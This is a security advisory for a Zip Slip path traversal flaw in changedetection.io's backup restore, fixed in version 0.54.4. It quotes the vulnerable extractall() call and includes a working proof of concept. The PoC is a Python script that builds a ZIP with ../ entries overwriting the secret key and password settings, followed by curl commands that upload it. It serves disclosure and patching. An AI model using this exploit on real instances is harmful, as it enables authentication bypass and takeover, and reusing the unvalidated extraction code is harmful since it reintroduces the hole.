GHSA-25g8-2mcf-fcx9 changedetection.io has Zip Slip vulnerability in the backup restore functionality

• PyPI changedetection.io: < 0.54.4 → fixed in 0.54.4

Summary A Zip Slip vulnerability in the backup restore functionality allows arbitrary file overwrite via path traversal in uploaded ZIP archives. Details A Zip Slip vulnerability in the backup restore functionality allows arbitrary file overwrite via path traversal in uploaded ZIP archives. The application uses zipfile.extractall() without validating entry paths, allowing ../ sequences to escape the extraction directory. Vulnerable Code (lines 50-53): ``` def restore_backup(self, filename): with zipfile.ZipFile(filename, 'r') as zip_ref: # VULNERABLE: No path validation before extraction zip_ref.extractall(self.datastore_path) ``` The extractall() function preserves the relative paths stored within the ZIP archive. When a malicious ZIP contains entries with ../ path traversal sequences, these files are extracted outside the intended directory. | Path in ZIP | Target File | Impact | | --- | --- | --- | | ../secret.txt | Flask secret key | Session forgery, auth bypass | | ../changedetection.json | App settings | Disable password, inject backdoor | | ../url-watches.json | Watch index | Inject malicious watches | | ../{uuid}/watch.json | Watch config | Modify any watch | Attacker uploads ZIP via the backup restore functionality at /backups/restore Application extracts files without validation, writing attacker content to sensitive locations PoC Step 1: Create Malicious ZIP ``` import zipfile import json with zipfile.ZipFile("zipslip.zip", "w") as zf: # Escape extraction directory with ../ zf.writestr("../secret.txt", "ATTACKER-CONTROLLED-SECRET") zf.writestr("../changedetection.json", json.dumps({ "settings": {"application": {"password": ""}} })) zf.writestr("../pwned-uuid-1234/watch.json", json.dumps({ "url": "https://attacker.com/zipslip-pwned", "title": "🔴 ZIPSLIP-PROOF" })) ``` Step 2: Upload via Restore Endpoint ```curl -X POST "http://target:5000/backups/restore/start" \ -F "[email protected]" \ -F "include_watches=y" \ -F "include_settings=y" ``` Step 3: Verify Path Traversal Check if watch escaped to /datastore/ ls -la /datastore/ Look for: pwned-uuid-1234/ Verify in UI ```curl "http://target:5000/" | grep "ZIPSLIP"```